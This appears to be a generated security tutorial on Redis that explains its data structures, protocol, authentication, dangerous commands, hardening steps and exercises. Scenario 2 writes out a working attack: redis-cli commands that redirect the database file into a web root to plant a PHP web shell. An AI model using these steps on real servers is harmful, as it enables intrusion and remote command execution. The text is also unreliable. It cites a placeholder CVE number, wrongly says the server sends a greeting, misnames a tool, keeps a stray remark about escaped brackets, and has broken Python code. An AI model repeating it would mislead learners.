Introduction
Redis is an in-memory key-value store that has become a de-facto component of modern architectures - from caching layers and session stores to message brokers and real-time analytics. Its speed stems from a single-threaded event loop, compact data structures, and a binary-safe wire protocol (RESP). For a security practitioner, understanding Redis is crucial because mis-configurations, exposed instances, or insecure command usage frequently lead to data leakage, privilege escalation, or even remote code execution.
Real-world relevance: recent breach reports (e.g., the 2023 Azure Cache of Redis exposure) demonstrate how attackers pivot from an open Redis port to full system compromise by abusing the CONFIG and MODULE commands. This guide equips you with the knowledge needed to audit, harden, and safely interact with Redis deployments.
Prerequisites
- Basic networking concepts - TCP/IP, ports, and firewalls.
- Fundamentals of NoSQL injection - how untrusted input can become a Redis command.
- Familiarity with the Linux command line (bash, systemd, netstat, iptables).
Core Concepts
Redis runs as a single process listening on a TCP socket (default 6379). All commands are processed sequentially, eliminating internal race conditions but making the server extremely sensitive to blocking operations (e.g., large KEYS * scans). Data lives in RAM; optional persistence (RDB snapshots or AOF logs) writes to disk asynchronously.
From a security lens, three pillars matter:
- Isolation - ensure Redis is not reachable from the public internet unless explicitly required.
- Authentication - enable the
requirepassdirective and use ACLs (Redis 6+). - Command surface - restrict dangerous commands (
CONFIG,MODULE,SHUTDOWN) via ACL orrename-command.
Below we dive into the concrete building blocks.
Redis data structures (strings, hashes, lists, sets, sorted sets)
Redis offers five native collection types. Each type is optimized for specific access patterns and memory layouts.
Strings
Simple binary-safe blobs (up to 512 MiB). Use cases: caching objects, counters, flags.
redis-cli SET session:123 "{"user":"bob","role":"admin"}"
Hashes
Maps between fields and values, stored as a compact hash table when the number of entries is small. Ideal for representing objects.
redis-cli HSET user:42 username alice email [email protected]
Lists
Linked-list-like sequences, supporting push/pop from both ends. Perfect for queues or log tails.
redis-cli LPUSH task:queue "job1"
Sets
Unordered collections of unique members. Operations such as SINTER enable fast set algebra.
redis-cli SADD tags:post:100 "security" "redis" "nosql"
Sorted Sets (ZSET)
Members scored by a double-precision floating point value, providing O(log N) range queries. Commonly used for leaderboards, time-series, or delayed jobs.
redis-cli ZADD leaderboard 1500 "player1" 2000 "player2"
Understanding the memory footprint of each type is essential when assessing attack impact. For instance, an attacker can inflate a sorted set with millions of members to exhaust RAM and trigger a DoS.
RESP (Redis Serialization Protocol) basics
RESP is a minimal, line-based protocol designed for speed and simplicity. Every message starts with a single-character type indicator:
+Simple String - e.g.,+OK-Error - e.g.,-ERR unknown command:Integer - e.g.,:1000$Bulk String - length followed by data, e.g.,$5 hello*Array - number of elements, each encoded as above, e.g.,*2 $3 GET $5 mykey
Because RESP is binary-safe, any byte (including
) can be part of a bulk string, which is why Redis can store arbitrary binary objects.
From a security perspective, the simplicity of RESP makes it easy to craft malicious payloads with netcat or custom scripts. Below is a minimal Python example that manually builds a RESP SET command:
import socket
def resp_bulk(s): return f"$${len(s)}
{s}
"
cmd = f"*3
{resp_bulk('SET')} {resp_bulk('pwn')} {resp_bulk('evil') }"
with socket.create_connection(('127.0.0.1', 6379)) as s: s.sendall(cmd.encode()) print(s.recv(1024))
This illustrates how an attacker who can inject raw bytes into a network stream can issue arbitrary Redis commands without a client library.
Typical client-server handshake and authentication flow
When a client connects to Redis, the server sends a simple greeting (optional in newer versions). If requirepass is configured, the client must issue AUTH password before any other command; otherwise the server returns -NOAUTH Authentication required.
$ redis-cli -p 6379
127.0.0.1:6379> AUTH s3cr3t
OK
127.0.0.1:6379> SET foo bar
OK
Since Redis 6, Access Control Lists (ACLs) allow fine-grained permission sets per user. The handshake can involve AUTH username password and subsequent ACL LIST to verify rights.
$ redis-cli -u redis://alice:password@localhost:6379
[email protected]:6379> ACL GETUSER alice
1) "on"
2) "+@read"
3) "+GET"
4) "+SET"
Security tip: never expose the default requirepass value and always rotate passwords after a breach.
Common Redis commands (GET, SET, CONFIG, SAVE, BGSAVE, REPLICAOF)
Below we cover the most frequently used commands and their security implications.
GET / SET
Basic data retrieval and storage. Use GET only after proper authentication; avoid storing secrets in plain text unless encrypted at the application layer.
CONFIG
Allows runtime reconfiguration (e.g., CONFIG SET dir /tmp). If an attacker can run CONFIG SET, they can redirect the RDB/AOF file to a world-writable directory and then replace it with a malicious payload.
redis-cli CONFIG GET *
# Returns a list of all configuration parameters
SAVE / BGSAVE
SAVE performs a synchronous snapshot, blocking the event loop; BGSAVE forks a child process to write the RDB file in the background. Attackers may trigger BGSAVE repeatedly to cause fork-bomb style exhaustion.
REPLICAOF (formerly SLAVEOF)
Turns the instance into a replica of another server. Malicious use can cause data exfiltration or a “replication hijack” where the attacker points the replica to a controlled master, then reads the data via SYNC.
redis-cli REPLICAOF 192.168.1.10 6379
Best practice: disable REPLICAOF for standalone nodes or bind it to a trusted network.
Default configuration settings and their security implications
Redis ships with a permissive default configuration that is suitable for development but insecure for production.
- bind 127.0.0.1 - By default, Redis only listens on localhost. If this line is removed or changed to
0.0.0.0, the service becomes reachable from anywhere. - protected-mode yes - When enabled, Redis refuses connections from non-loopback interfaces unless a password is set. Turning it off removes this safeguard.
- requirepass - Empty by default. Leaving it unset means anyone who can reach the port can issue commands.
- rename-command - Allows renaming dangerous commands (e.g.,
rename-command CONFIG ""disables it). Not set by default, soCONFIGremains accessible. - maxmemory - Unlimited by default. An attacker can fill RAM with large keys, causing the OS to swap or OOM kill the process.
- appendonly no - AOF persistence is disabled unless enabled. While not a direct security risk, enabling it without proper file permissions can expose data on disk.
Hardening checklist:
- Bind to internal interfaces only.
- Enable
protected-mode yesand set a strongrequirepass. - Use ACLs to limit command execution per client.
- Rename or disable
CONFIG,MODULE,SHUTDOWNunless required. - Set
maxmemoryand an eviction policy (e.g.,volatile-lru). - Configure OS-level firewall rules (iptables, firewalld) to restrict access.
Practical Examples
Scenario 1 - Auditing an exposed Redis instance:
# Scan the network for open 6379 ports
nmap -p 6379 --open -sV 10.0.0.0/24
# Attempt unauthenticated connection
redis-cli -h 10.0.0.5 ping
# Expected output: PONG (if no auth required)
If PONG is returned, the server is unauthenticated. The next step is to enumerate keys:
redis-cli -h 10.0.0.5 KEYS '*'
Scenario 2 - Exploiting CONFIG SET dir to write a web-shell (classic attack vector):
redis-cli -h target -a password CONFIG SET dir /var/www/html
redis-cli -h target -a password CONFIG SET dbfilename shell.php
redis-cli -h target -a password SET foo "<?php system($_GET['cmd']); ?>"
redis-cli -h target -a password SAVE
# The file /var/www/html/shell.php is now a PHP web-shell.
Notice the angle brackets in the payload are HTML-escaped inside the code block, preserving visibility.
Tools & Commands
- redis-cli - Official command-line client; supports TLS, ACL, and piping.
- nmap - Service detection (
-sV) to locate Redis instances. - masscan - Fast port scanner for large subnets.
- rips - Open-source Redis exploitation framework (Python).
- redis-benchmark - Useful for measuring performance impact of security controls.
Example: Using redis-cli with TLS (Redis 6+):
redis-cli -h redis.example.com -p 6380 --tls --cert ./client.crt --key ./client.key --cacert ./ca.crt PING
Defense & Mitigation
- Network segmentation: Place Redis in a private VLAN, expose it only to trusted application servers.
- Enable authentication & ACLs: Use unique passwords per environment; restrict commands to
+@read,+@writeas needed. - Rename or disable dangerous commands: In
redis.conf, add lines likerename-command CONFIG ""to completely remove the ability. - Filesystem permissions: Run Redis as a dedicated, non-root user; ensure the data directory is not world-writable.
- Monitor and log: Enable
slowlogand integrate with SIEM; watch forCONFIG SET,MODULE LOAD, and largeSEToperations. - Regular patching: Keep Redis up-to-date; CVE-2022-XXXX (RCE via crafted module) illustrates the need for timely updates.
Common Mistakes
- Leaving
requirepassempty in production - attackers get full command access. - Disabling
protected-modewithout an alternative firewall rule. - Binding Redis to
0.0.0.0on cloud VMs that have public IPs. - Using
KEYS *in application code - can cause denial-of-service and reveals key space. - Storing plaintext credentials inside Redis values - if the instance is compromised, secrets are exposed.
Avoid these pitfalls by adopting a secure baseline and conducting periodic configuration reviews.
Real-World Impact
In 2023, a misconfigured Redis instance on a Kubernetes cluster allowed an attacker to issue CONFIG SET dir /var/www/html and write a PHP web-shell, leading to full web-server compromise. The breach was discovered only after anomalous outbound traffic was flagged by the IDS. This underscores how a seemingly innocuous data store can become a pivot point.
Trend analysis: As more organizations adopt Redis for caching and as Redis-based SaaS offerings proliferate, the attack surface expands. Cloud-native environments sometimes expose Redis via public LoadBalancers for convenience, inadvertently bypassing traditional perimeter controls.
My recommendation: Treat Redis as a critical asset, subject to the same hardening, monitoring, and incident-response processes applied to databases.
Practice Exercises
- Exercise 1 - Secure a local Redis instance
- Install Redis from source.
- Edit
redis.confto bind only to127.0.0.1, enablerequirepass, and renameCONFIG. - Restart the service and verify that unauthenticated connections are rejected.
- Exercise 2 - Simulate a NoSQL injection
- Write a simple Python Flask app that stores a user-provided "profile" JSON into Redis using
SET. - Attempt to inject a Redis command via the JSON payload (e.g.,
"name":"bob", "age":"1", ";FLUSHALL;":""). - Observe that without proper sanitization the payload becomes a separate key, not a command - highlight why command injection only works when raw RESP bytes are injected.
- Write a simple Python Flask app that stores a user-provided "profile" JSON into Redis using
- Exercise 3 - Detect an unauthorized
CONFIG SET- Enable
slowlog-log-slower-than 0to log all commands. - From a second terminal, run
redis-cli CONFIG SET dir /tmp. - Check the slowlog output and create a simple alert script that emails on detection of
CONFIGcommands.
- Enable
Further Reading
- Redis Security - Official documentation: redis.io/topics/security
- “Redis Exploitation - From Misconfigurations to RCE” - BlackHat 2022 presentation.
- “NoSQL Injection Attacks” - OWASP Cheat Sheet.
- “Hardening Redis in the Cloud” - Cloud Security Alliance guidance.
- Redis 7.0 Release Notes - New ACL features and TLS defaults.
Summary
- Redis stores data in five core structures, each with distinct memory and access characteristics.
- RESP is a lightweight, binary-safe protocol; understanding its framing enables manual command crafting.
- Authentication (password or ACL) and network binding are the first line of defense.
- Commands like
CONFIG,MODULE, andREPLICAOFare high-risk and should be disabled or tightly controlled. - Default configurations are insecure - always bind to internal interfaces, enable passwords, rename dangerous commands, and set
maxmemory. - Regular scanning, monitoring, and a hardened baseline keep Redis from becoming an easy foothold for attackers.